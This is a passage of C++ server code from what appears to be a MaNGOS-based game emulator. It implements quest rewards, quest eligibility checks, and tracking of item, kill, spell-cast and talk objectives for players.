((BattleGroundAV*)bg)->HandleQuestComplete(pQuest->GetQuestId(), this);
if (pQuest->GetRewChoiceItemsCount() > 0)
{
if (uint32 itemId = pQuest->RewChoiceItemId[reward])
{
ItemPosCountVec dest;
if (CanStoreNewItem(NULL_BAG, NULL_SLOT, dest, itemId, pQuest->RewChoiceItemCount[reward]) == EQUIP_ERR_OK)
{
Item* item = StoreNewItem( dest, itemId, true, Item::GenerateItemRandomPropertyId(itemId));
SendNewItem(item, pQuest->RewChoiceItemCount[reward], true, false);
}
}
}
if (pQuest->GetRewItemsCount() > 0)
{
for (uint32 i=0; i < pQuest->GetRewItemsCount(); ++i)
{
if (uint32 itemId = pQuest->RewItemId[i])
{
ItemPosCountVec dest;
if (CanStoreNewItem(NULL_BAG, NULL_SLOT, dest, itemId, pQuest->RewItemCount[i]) == EQUIP_ERR_OK)
{
Item* item = StoreNewItem( dest, itemId, true, Item::GenerateItemRandomPropertyId(itemId));
SendNewItem(item, pQuest->RewItemCount[i], true, false);
}
}
}
}
RewardReputation(pQuest);
uint16 log_slot = FindQuestSlot(quest_id);
if (log_slot < MAX_QUEST_LOG_SIZE)
SetQuestSlot(log_slot,0);
QuestStatusData& q_status = mQuestStatus[quest_id];
// Used for client inform but rewarded only in case not max level
uint32 xp = uint32(pQuest->XPValue(this) * sWorld.getConfig(CONFIG_FLOAT_RATE_XP_QUEST)*(GetSession()->IsPremium()+1));
if (getLevel() < sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL))
{
GiveXP(xp , NULL);
// Give player extra money (for max level already included in pQuest->GetRewMoneyMaxLevel())
if (pQuest->GetRewOrReqMoney() > 0)
{
ModifyMoney(pQuest->GetRewOrReqMoney());
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_MONEY_FROM_QUEST_REWARD, pQuest->GetRewOrReqMoney());
}
}
else
{
// reward money for max level already included in pQuest->GetRewMoneyMaxLevel()
uint32 money = uint32(pQuest->GetRewMoneyMaxLevel() * sWorld.getConfig(CONFIG_FLOAT_RATE_DROP_MONEY));
// reward money used if > xp replacement money
if (pQuest->GetRewOrReqMoney() > int32(money))
money = pQuest->GetRewOrReqMoney();
ModifyMoney(money);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_MONEY_FROM_QUEST_REWARD, money);
}
// req money case
if (pQuest->GetRewOrReqMoney() < 0)
ModifyMoney(pQuest->GetRewOrReqMoney());
// honor reward
if (uint32 honor = pQuest->CalculateRewardHonor(getLevel()))
RewardHonor(NULL, 0, honor);
// title reward
if (pQuest->GetCharTitleId())
{
if (CharTitlesEntry const* titleEntry = sCharTitlesStore.LookupEntry(pQuest->GetCharTitleId()))
SetTitle(titleEntry);
}
if (pQuest->GetBonusTalents())
{
m_questRewardTalentCount += pQuest->GetBonusTalents();
InitTalentForLevel();
}
// Send reward mail
if (uint32 mail_template_id = pQuest->GetRewMailTemplateId())
MailDraft(mail_template_id).SendMailTo(this, questGiver, MAIL_CHECK_MASK_HAS_BODY, pQuest->GetRewMailDelaySecs());
if (pQuest->IsDaily())
{
SetDailyQuestStatus(quest_id);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_COMPLETE_DAILY_QUEST, 1);
}
if (pQuest->IsWeekly())
SetWeeklyQuestStatus(quest_id);
if (pQuest->IsMonthly())
SetMonthlyQuestStatus(quest_id);
if (!pQuest->IsRepeatable())
SetQuestStatus(quest_id, QUEST_STATUS_COMPLETE);
else
SetQuestStatus(quest_id, QUEST_STATUS_NONE);
q_status.m_rewarded = true;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
if (announce)
SendQuestReward(pQuest, xp, questGiver);
bool handled = false;
if (questGiver)
{
switch(questGiver->GetTypeId())
{
case TYPEID_UNIT:
handled = sScriptMgr.OnQuestRewarded(this, (Creature*)questGiver, pQuest);
break;
case TYPEID_GAMEOBJECT:
handled = sScriptMgr.OnQuestRewarded(this, (GameObject*)questGiver, pQuest);
break;
}
}
if (!handled && questGiver && pQuest->GetQuestCompleteScript() != 0)
GetMap()->ScriptsStart(sQuestEndScripts, pQuest->GetQuestCompleteScript(), questGiver, this);
// cast spells after mark quest complete (some spells have quest completed state reqyurements in spell_area data)
if (pQuest->GetRewSpellCast() > 0)
CastSpell(this, pQuest->GetRewSpellCast(), true);
else if (pQuest->GetRewSpell() > 0)
CastSpell(this, pQuest->GetRewSpell(), true);
if (pQuest->GetZoneOrSort() > 0)
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_COMPLETE_QUESTS_IN_ZONE, pQuest->GetZoneOrSort());
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_COMPLETE_QUEST_COUNT);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_COMPLETE_QUEST, pQuest->GetQuestId());
uint32 zone = 0;
uint32 area = 0;
// remove auras from spells with quest reward state limitations
SpellAreaForQuestMapBounds saEndBounds = sSpellMgr.GetSpellAreaForQuestEndMapBounds(quest_id);
if (saEndBounds.first != saEndBounds.second)
{
GetZoneAndAreaId(zone,area);
for(SpellAreaForAreaMap::const_iterator itr = saEndBounds.first; itr != saEndBounds.second; ++itr)
if (!itr->second->IsFitToRequirements(this, zone, area))
RemoveAurasDueToSpell(itr->second->spellId);
}
// Some spells applied at quest reward
SpellAreaForQuestMapBounds saBounds = sSpellMgr.GetSpellAreaForQuestMapBounds(quest_id, false);
if (saBounds.first != saBounds.second)
{
if (!zone || !area)
GetZoneAndAreaId(zone, area);
for(SpellAreaForAreaMap::const_iterator itr = saBounds.first; itr != saBounds.second; ++itr)
if (itr->second->autocast && itr->second->IsFitToRequirements(this, zone, area))
if (!HasAura(itr->second->spellId, EFFECT_INDEX_0))
CastSpell(this, itr->second->spellId, true);
}
}
void Player::FailQuest(uint32 questId)
{
if (Quest const* pQuest = sObjectMgr.GetQuestTemplate(questId))
{
SetQuestStatus(questId, QUEST_STATUS_FAILED);
uint16 log_slot = FindQuestSlot(questId);
if (log_slot < MAX_QUEST_LOG_SIZE)
{
SetQuestSlotTimer(log_slot, 1);
SetQuestSlotState(log_slot, QUEST_STATE_FAIL);
}
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_TIMED))
{
QuestStatusData& q_status = mQuestStatus[questId];
RemoveTimedQuest(questId);
q_status.m_timer = 0;
SendQuestTimerFailed(questId);
}
else
SendQuestFailed(questId);
}
}
bool Player::SatisfyQuestSkill(Quest const* qInfo, bool msg) const
{
uint32 skill = qInfo->GetRequiredSkill();
// skip 0 case RequiredSkill
if (skill == 0)
return true;
// check skill value
if (GetSkillValue(skill) < qInfo->GetRequiredSkillValue())
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
return true;
}
bool Player::SatisfyQuestLevel(Quest const* qInfo, bool msg) const
{
if (getLevel() < qInfo->GetMinLevel())
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
return true;
}
bool Player::SatisfyQuestLog(bool msg) const
{
// exist free slot
if (FindQuestSlot(0) < MAX_QUEST_LOG_SIZE)
return true;
if (msg)
{
WorldPacket data(SMSG_QUESTLOG_FULL, 0);
GetSession()->SendPacket(&data);
DEBUG_LOG("WORLD: Sent SMSG_QUESTLOG_FULL");
}
return false;
}
bool Player::SatisfyQuestPreviousQuest(Quest const* qInfo, bool msg) const
{
// No previous quest (might be first quest in a series)
if (qInfo->prevQuests.empty())
return true;
for(Quest::PrevQuests::const_iterator iter = qInfo->prevQuests.begin(); iter != qInfo->prevQuests.end(); ++iter)
{
uint32 prevId = abs(*iter);
QuestStatusMap::const_iterator i_prevstatus = mQuestStatus.find(prevId);
Quest const* qPrevInfo = sObjectMgr.GetQuestTemplate(prevId);
if (qPrevInfo && i_prevstatus != mQuestStatus.end())
{
// If any of the positive previous quests completed, return true
if (*iter > 0 && i_prevstatus->second.m_rewarded)
{
// skip one-from-all exclusive group
if (qPrevInfo->GetExclusiveGroup() >= 0)
return true;
// each-from-all exclusive group ( < 0)
// can be start if only all quests in prev quest exclusive group completed and rewarded
ExclusiveQuestGroupsMapBounds bounds = sObjectMgr.GetExclusiveQuestGroupsMapBounds(qPrevInfo->GetExclusiveGroup());
MANGOS_ASSERT(bounds.first != bounds.second); // always must be found if qPrevInfo->ExclusiveGroup != 0
for(ExclusiveQuestGroupsMap::const_iterator iter2 = bounds.first; iter2 != bounds.second; ++iter2)
{
uint32 exclude_Id = iter2->second;
// skip checked quest id, only state of other quests in group is interesting
if (exclude_Id == prevId)
continue;
QuestStatusMap::const_iterator i_exstatus = mQuestStatus.find(exclude_Id);
// alternative quest from group also must be completed and rewarded(reported)
if (i_exstatus == mQuestStatus.end() || !i_exstatus->second.m_rewarded)
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
}
return true;
}
// If any of the negative previous quests active, return true
if (*iter < 0 && IsCurrentQuest(prevId))
{
// skip one-from-all exclusive group
if (qPrevInfo->GetExclusiveGroup() >= 0)
return true;
// each-from-all exclusive group ( < 0)
// can be start if only all quests in prev quest exclusive group active
ExclusiveQuestGroupsMapBounds bounds = sObjectMgr.GetExclusiveQuestGroupsMapBounds(qPrevInfo->GetExclusiveGroup());
MANGOS_ASSERT(bounds.first != bounds.second); // always must be found if qPrevInfo->ExclusiveGroup != 0
for(ExclusiveQuestGroupsMap::const_iterator iter2 = bounds.first; iter2 != bounds.second; ++iter2)
{
uint32 exclude_Id = iter2->second;
// skip checked quest id, only state of other quests in group is interesting
if (exclude_Id == prevId)
continue;
// alternative quest from group also must be active
if (!IsCurrentQuest(exclude_Id))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
}
return true;
}
}
}
// Has only positive prev. quests in non-rewarded state
// and negative prev. quests in non-active state
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
bool Player::SatisfyQuestClass(Quest const* qInfo, bool msg) const
{
uint32 reqClass = qInfo->GetRequiredClasses();
if (reqClass == 0)
return true;
if ((reqClass & getClassMask()) == 0)
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
return true;
}
bool Player::SatisfyQuestRace(Quest const* qInfo, bool msg) const
{
uint32 reqraces = qInfo->GetRequiredRaces();
if (reqraces == 0)
return true;
if ((reqraces & getRaceMask()) == 0)
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_QUEST_FAILED_WRONG_RACE);
return false;
}
return true;
}
bool Player::SatisfyQuestReputation(Quest const* qInfo, bool msg) const
{
uint32 fIdMin = qInfo->GetRequiredMinRepFaction(); //Min required rep
if (fIdMin && GetReputationMgr().GetReputation(fIdMin) < qInfo->GetRequiredMinRepValue())
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
uint32 fIdMax = qInfo->GetRequiredMaxRepFaction(); //Max required rep
if (fIdMax && GetReputationMgr().GetReputation(fIdMax) >= qInfo->GetRequiredMaxRepValue())
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
return true;
}
bool Player::SatisfyQuestStatus(Quest const* qInfo, bool msg) const
{
QuestStatusMap::const_iterator itr = mQuestStatus.find(qInfo->GetQuestId());
if (itr != mQuestStatus.end() && itr->second.m_status != QUEST_STATUS_NONE)
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_QUEST_ALREADY_ON);
return false;
}
return true;
}
bool Player::SatisfyQuestTimed(Quest const* qInfo, bool msg) const
{
if (!m_timedquests.empty() && qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_TIMED))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_QUEST_ONLY_ONE_TIMED);
return false;
}
return true;
}
bool Player::SatisfyQuestExclusiveGroup(Quest const* qInfo, bool msg) const
{
// non positive exclusive group, if > 0 then can be start if any other quest in exclusive group already started/completed
if (qInfo->GetExclusiveGroup() <= 0)
return true;
ExclusiveQuestGroupsMapBounds bounds = sObjectMgr.GetExclusiveQuestGroupsMapBounds(qInfo->GetExclusiveGroup());
MANGOS_ASSERT(bounds.first != bounds.second); // must always be found if qInfo->ExclusiveGroup != 0
for(ExclusiveQuestGroupsMap::const_iterator iter = bounds.first; iter != bounds.second; ++iter)
{
uint32 exclude_Id = iter->second;
// skip checked quest id, only state of other quests in group is interesting
if (exclude_Id == qInfo->GetQuestId())
continue;
// not allow have daily quest if daily quest from exclusive group already recently completed
Quest const* Nquest = sObjectMgr.GetQuestTemplate(exclude_Id);
if (!SatisfyQuestDay(Nquest, false) || !SatisfyQuestWeek(Nquest, false))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
QuestStatusMap::const_iterator i_exstatus = mQuestStatus.find(exclude_Id);
// alternative quest already started or completed
if (i_exstatus != mQuestStatus.end() &&
(i_exstatus->second.m_status == QUEST_STATUS_COMPLETE || i_exstatus->second.m_status == QUEST_STATUS_INCOMPLETE))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
}
return true;
}
bool Player::SatisfyQuestNextChain(Quest const* qInfo, bool msg) const
{
if (!qInfo->GetNextQuestInChain())
return true;
// next quest in chain already started or completed
QuestStatusMap::const_iterator itr = mQuestStatus.find(qInfo->GetNextQuestInChain());
if (itr != mQuestStatus.end() &&
(itr->second.m_status == QUEST_STATUS_COMPLETE || itr->second.m_status == QUEST_STATUS_INCOMPLETE))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
// check for all quests further up the chain
// only necessary if there are quest chains with more than one quest that can be skipped
//return SatisfyQuestNextChain( qInfo->GetNextQuestInChain(), msg );
return true;
}
bool Player::SatisfyQuestPrevChain(Quest const* qInfo, bool msg) const
{
// No previous quest in chain
if (qInfo->prevChainQuests.empty())
return true;
for(Quest::PrevChainQuests::const_iterator iter = qInfo->prevChainQuests.begin(); iter != qInfo->prevChainQuests.end(); ++iter)
{
uint32 prevId = *iter;
// If any of the previous quests in chain active, return false
if (IsCurrentQuest(prevId))
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_DONT_HAVE_REQ);
return false;
}
// check for all quests further down the chain
// only necessary if there are quest chains with more than one quest that can be skipped
//if ( !SatisfyQuestPrevChain( prevId, msg ) )
// return false;
}
// No previous quest in chain active
return true;
}
bool Player::SatisfyQuestDay(Quest const* qInfo, bool msg) const
{
if (!qInfo->IsDaily())
return true;
bool have_slot = false;
for(uint32 quest_daily_idx = 0; quest_daily_idx < PLAYER_MAX_DAILY_QUESTS; ++quest_daily_idx)
{
uint32 id = GetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx);
if (qInfo->GetQuestId()==id)
return false;
if (!id)
have_slot = true;
}
if (!have_slot)
{
if (msg)
SendCanTakeQuestResponse(INVALIDREASON_QUEST_FAILED_TOO_MANY_DAILY_QUESTS);
return false;
}
return true;
}
bool Player::SatisfyQuestWeek(Quest const* qInfo, bool msg) const
{
if (!qInfo->IsWeekly() || m_weeklyquests.empty())
return true;
// if not found in cooldown list
return m_weeklyquests.find(qInfo->GetQuestId()) == m_weeklyquests.end();
}
bool Player::SatisfyQuestMonth(Quest const* qInfo, bool msg) const
{
if (!qInfo->IsMonthly() || m_monthlyquests.empty())
return true;
// if not found in cooldown list
return m_monthlyquests.find(qInfo->GetQuestId()) == m_monthlyquests.end();
}
bool Player::CanGiveQuestSourceItemIfNeed( Quest const *pQuest, ItemPosCountVec* dest) const
{
if (uint32 srcitem = pQuest->GetSrcItemId())
{
uint32 count = pQuest->GetSrcItemCount();
// player already have max amount required item (including bank), just report success
uint32 has_count = GetItemCount(srcitem, true);
if (has_count >= count)
return true;
count -= has_count; // real need amount
InventoryResult msg;
if (!dest)
{
ItemPosCountVec destTemp;
msg = CanStoreNewItem( NULL_BAG, NULL_SLOT, destTemp, srcitem, count );
}
else
msg = CanStoreNewItem( NULL_BAG, NULL_SLOT, *dest, srcitem, count );
if (msg == EQUIP_ERR_OK)
return true;
else
SendEquipError( msg, NULL, NULL, srcitem );
return false;
}
return true;
}
void Player::GiveQuestSourceItemIfNeed(Quest const *pQuest)
{
ItemPosCountVec dest;
if (CanGiveQuestSourceItemIfNeed(pQuest, &dest) && !dest.empty())
{
uint32 count = 0;
for(ItemPosCountVec::const_iterator c_itr = dest.begin(); c_itr != dest.end(); ++c_itr)
count += c_itr->count;
Item * item = StoreNewItem(dest, pQuest->GetSrcItemId(), true);
SendNewItem(item, count, true, false);
}
}
bool Player::TakeQuestSourceItem( uint32 quest_id, bool msg )
{
Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id);
if ( qInfo )
{
uint32 srcitem = qInfo->GetSrcItemId();
if ( srcitem > 0 )
{
uint32 count = qInfo->GetSrcItemCount();
if ( count <= 0 )
count = 1;
// exist one case when destroy source quest item not possible:
// non un-equippable item (equipped non-empty bag, for example)
InventoryResult res = CanUnequipItems(srcitem,count);
if (res != EQUIP_ERR_OK)
{
if (msg)
SendEquipError( res, NULL, NULL, srcitem );
return false;
}
DestroyItemCount(srcitem, count, true, true);
}
}
return true;
}
bool Player::GetQuestRewardStatus( uint32 quest_id ) const
{
Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id);
if ( qInfo )
{
// for repeatable quests: rewarded field is set after first reward only to prevent getting XP more than once
QuestStatusMap::const_iterator itr = mQuestStatus.find( quest_id );
if ( itr != mQuestStatus.end() && itr->second.m_status != QUEST_STATUS_NONE
&& !qInfo->IsRepeatable() )
return itr->second.m_rewarded;
return false;
}
return false;
}
QuestStatus Player::GetQuestStatus( uint32 quest_id ) const
{
if ( quest_id )
{
QuestStatusMap::const_iterator itr = mQuestStatus.find( quest_id );
if ( itr != mQuestStatus.end() )
return itr->second.m_status;
}
return QUEST_STATUS_NONE;
}
bool Player::CanShareQuest(uint32 quest_id) const
{
if (Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id))
if (qInfo->HasQuestFlag(QUEST_FLAGS_SHARABLE))
return IsCurrentQuest(quest_id);
return false;
}
void Player::SetQuestStatus(uint32 quest_id, QuestStatus status)
{
if (sObjectMgr.GetQuestTemplate(quest_id))
{
QuestStatusData& q_status = mQuestStatus[quest_id];
q_status.m_status = status;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
}
UpdateForQuestWorldObjects();
}
// not used in MaNGOS, but used in scripting code
uint32 Player::GetReqKillOrCastCurrentCount(uint32 quest_id, int32 entry)
{
Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id);
if ( !qInfo )
return 0;
for (int j = 0; j < QUEST_OBJECTIVES_COUNT; ++j)
if ( qInfo->ReqCreatureOrGOId[j] == entry )
return mQuestStatus[quest_id].m_creatureOrGOcount[j];
return 0;
}
void Player::AdjustQuestReqItemCount( Quest const* pQuest, QuestStatusData& questStatusData )
{
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
{
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
uint32 reqitemcount = pQuest->ReqItemCount[i];
if ( reqitemcount != 0 )
{
uint32 curitemcount = GetItemCount(pQuest->ReqItemId[i], true);
questStatusData.m_itemcount[i] = std::min(curitemcount, reqitemcount);
if (questStatusData.uState != QUEST_NEW) questStatusData.uState = QUEST_CHANGED;
}
}
}
}
uint16 Player::FindQuestSlot( uint32 quest_id ) const
{
for ( uint16 i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
if ( GetQuestSlotQuestId(i) == quest_id )
return i;
return MAX_QUEST_LOG_SIZE;
}
void Player::AreaExploredOrEventHappens( uint32 questId )
{
if ( questId )
{
uint16 log_slot = FindQuestSlot( questId );
if ( log_slot < MAX_QUEST_LOG_SIZE)
{
QuestStatusData& q_status = mQuestStatus[questId];
if(!q_status.m_explored)
{
SetQuestSlotState(log_slot, QUEST_STATE_COMPLETE);
SendQuestCompleteEvent(questId);
q_status.m_explored = true;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
}
}
if ( CanCompleteQuest( questId ) )
CompleteQuest( questId );
}
}
//not used in mangosd, function for external script library
void Player::GroupEventHappens( uint32 questId, WorldObject const* pEventObject )
{
if ( Group *pGroup = GetGroup() )
{
for(GroupReference *itr = pGroup->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player *pGroupGuy = itr->getSource();
// for any leave or dead (with not released body) group member at appropriate distance
if ( pGroupGuy && pGroupGuy->IsAtGroupRewardDistance(pEventObject) && !pGroupGuy->HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST) )
pGroupGuy->AreaExploredOrEventHappens(questId);
}
}
else
AreaExploredOrEventHappens(questId);
}
void Player::ItemAddedQuestCheck( uint32 entry, uint32 count )
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if ( questid == 0 )
continue;
QuestStatusData& q_status = mQuestStatus[questid];
if ( q_status.m_status != QUEST_STATUS_INCOMPLETE )
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if (!qInfo || !qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
continue;
for (int j = 0; j < QUEST_ITEM_OBJECTIVES_COUNT; ++j)
{
uint32 reqitem = qInfo->ReqItemId[j];
if ( reqitem == entry )
{
uint32 reqitemcount = qInfo->ReqItemCount[j];
uint32 curitemcount = q_status.m_itemcount[j];
if ( curitemcount < reqitemcount )
{
uint32 additemcount = ( curitemcount + count <= reqitemcount ? count : reqitemcount - curitemcount);
q_status.m_itemcount[j] += additemcount;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
}
if ( CanCompleteQuest( questid ) )
CompleteQuest( questid );
return;
}
}
}
UpdateForQuestWorldObjects();
}
void Player::ItemRemovedQuestCheck( uint32 entry, uint32 count )
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if(!questid)
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if ( !qInfo )
continue;
if (!qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
continue;
for (int j = 0; j < QUEST_ITEM_OBJECTIVES_COUNT; ++j)
{
uint32 reqitem = qInfo->ReqItemId[j];
if ( reqitem == entry )
{
QuestStatusData& q_status = mQuestStatus[questid];
uint32 reqitemcount = qInfo->ReqItemCount[j];
uint32 curitemcount;
if ( q_status.m_status != QUEST_STATUS_COMPLETE )
curitemcount = q_status.m_itemcount[j];
else
curitemcount = GetItemCount(entry, true);
if ( curitemcount < reqitemcount + count )
{
uint32 remitemcount = ( curitemcount <= reqitemcount ? count : count + reqitemcount - curitemcount);
q_status.m_itemcount[j] = curitemcount - remitemcount;
if (q_status.uState != QUEST_NEW) q_status.uState = QUEST_CHANGED;
IncompleteQuest( questid );
}
return;
}
}
}
UpdateForQuestWorldObjects();
}
void Player::KilledMonster( CreatureInfo const* cInfo, ObjectGuid guid )
{
if (cInfo->Entry)
KilledMonsterCredit(cInfo->Entry, guid);
for(int i = 0; i < MAX_KILL_CREDIT; ++i)
if (cInfo->KillCredit[i])
KilledMonsterCredit(cInfo->KillCredit[i], guid);
}
void Player::KilledMonsterCredit( uint32 entry, ObjectGuid guid )
{
uint32 addkillcount = 1;
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_KILL_CREATURE, entry, addkillcount);
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if(!questid)
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if (!qInfo)
continue;
// just if !ingroup || !noraidgroup || raidgroup
QuestStatusData& q_status = mQuestStatus[questid];
if (q_status.m_status == QUEST_STATUS_INCOMPLETE && (!GetGroup() || !GetGroup()->isRaidGroup() || qInfo->IsAllowedInRaid()))
{
if (qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_KILL_OR_CAST))
{
for (int j = 0; j < QUEST_OBJECTIVES_COUNT; ++j)
{
// skip GO activate objective or none
if (qInfo->ReqCreatureOrGOId[j] <=0)
continue;
// skip Cast at creature objective
if (qInfo->ReqSpell[j] !=0 )
continue;
uint32 reqkill = qInfo->ReqCreatureOrGOId[j];
if (reqkill == entry)
{
uint32 reqkillcount = qInfo->ReqCreatureOrGOCount[j];
uint32 curkillcount = q_status.m_creatureOrGOcount[j];
if (curkillcount < reqkillcount)
{
q_status.m_creatureOrGOcount[j] = curkillcount + addkillcount;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
SendQuestUpdateAddCreatureOrGo( qInfo, guid, j, q_status.m_creatureOrGOcount[j]);
}
if (CanCompleteQuest( questid ))
CompleteQuest( questid );
// same objective target can be in many active quests, but not in 2 objectives for single quest (code optimization).
continue;
}
}
}
}
}
}
void Player::CastedCreatureOrGO( uint32 entry, ObjectGuid guid, uint32 spell_id, bool original_caster )
{
bool isCreature = guid.IsCreatureOrVehicle();
uint32 addCastCount = 1;
for(int i = 0; i < MAX_QUEST_LOG_SIZE; ++i)
{
uint32 questid = GetQuestSlotQuestId(i);
if (!questid)
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if (!qInfo)
continue;
if (!original_caster && !qInfo->HasQuestFlag(QUEST_FLAGS_SHARABLE))
continue;
if (!qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_KILL_OR_CAST))
continue;
QuestStatusData& q_status = mQuestStatus[questid];
if (q_status.m_status != QUEST_STATUS_INCOMPLETE)
continue;
for (int j = 0; j < QUEST_OBJECTIVES_COUNT; ++j)
{
// skip kill creature objective (0) or wrong spell casts
if (qInfo->ReqSpell[j] != spell_id)
continue;
uint32 reqTarget = 0;
if (isCreature)
{
// creature activate objectives
if (qInfo->ReqCreatureOrGOId[j] > 0)
// checked at quest_template loading
reqTarget = qInfo->ReqCreatureOrGOId[j];
}
else
{
// GO activate objective
if (qInfo->ReqCreatureOrGOId[j] < 0)
// checked at quest_template loading
reqTarget = - qInfo->ReqCreatureOrGOId[j];
}
// other not this creature/GO related objectives
if (reqTarget != entry)
continue;
uint32 reqCastCount = qInfo->ReqCreatureOrGOCount[j];
uint32 curCastCount = q_status.m_creatureOrGOcount[j];
if (curCastCount < reqCastCount)
{
q_status.m_creatureOrGOcount[j] = curCastCount + addCastCount;
if (q_status.uState != QUEST_NEW)
q_status.uState = QUEST_CHANGED;
SendQuestUpdateAddCreatureOrGo( qInfo, guid, j, q_status.m_creatureOrGOcount[j]);
}
if (CanCompleteQuest(questid))
CompleteQuest(questid);
// same objective target can be in many active quests, but not in 2 objectives for single quest (code optimization).
break;
}
}
}
void Player::TalkedToCreature( uint32 entry, ObjectGuid guid )
{
uint32 addTalkCount = 1;
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if(!questid)
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if ( !qInfo )
continue;
QuestStatusData& q_status = mQuestStatus[questid];
if ( q_status.m_status == QUEST_STATUS_INCOMPLETE )
{
if (qInfo->HasSpecialFlag(QuestSpecialFlags(QUEST_SPECIAL_FLAG_KILL_OR_CAST | QUEST_SPECIAL_FLAG_SPEAKTO)))
{
for (int j = 0; j < QUEST_OBJECTIVES_COUNT; ++j)
{
// skip spell casts and Gameobject objectives
if (qInfo->ReqSpell[j] > 0 || qInfo->ReqCreatureOrGOId[j] < 0)
continue;
uint32 reqTarget = 0;
if (qInfo->ReqCreatureOrGOId[j] > 0) // creature activate objectives
// checked at quest_template loading
reqTarget = qInfo->ReqCreatureOrGOId[j];
else
continue;
if ( reqTarget == entry )
{
uint32 reqTalkCount = qInfo->ReqCreatureOrGOCount[j];
uint32 curTalkCount = q_status.m_creatureOrGOcount[j];
if ( curTalkCount < reqTalkCount )
{
q_status.m_creatureOrGOcount[j] = curTalkCount + addTalkCount;
if (q_status.uState != QUEST_NEW) q_status.uState = QUEST_CHANGED;
SendQuestUpdateAddCreatureOrGo( qInfo, guid, j, q_status.m_creatureOrGOcount[j]);
}
if ( CanCompleteQuest( questid ) )
CompleteQuest( questid );
// same objective target can be in many active quests, but not in 2 objectives for single quest (code optimization).
continue;
}
}
}
}
}
}
void Player::MoneyChanged( uint32 count )
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if (!questid)
continue;
Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid);
if ( qInfo && qInfo->GetRewOrReqMoney() < 0 )
{
QuestStatusData& q_status = mQuestStatus[questid];
if ( q_status.m_status == QUEST_STATUS_INCOMPLETE )
{
if (int32(count) >= -qInfo->GetRewOrReqMoney())
{
if ( CanCompleteQuest( questid ) )
CompleteQuest( questid );
}
}
else if ( q_status.m_status == QUEST_STATUS_COMPLETE )
{
if (int32(count) < -qInfo->GetRewOrReqMoney())
IncompleteQuest( questid );
}
}
}
}
void Player::ReputationChanged(FactionEntry const* factionEntry )
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
if (uint32 questid = GetQuestSlotQuestId(i))
{
if (Quest const* qInfo = sObjectMgr.GetQuestTemplate(questid))
{
if (qInfo->GetRepObjectiveFaction() == factionEntry->ID )
{
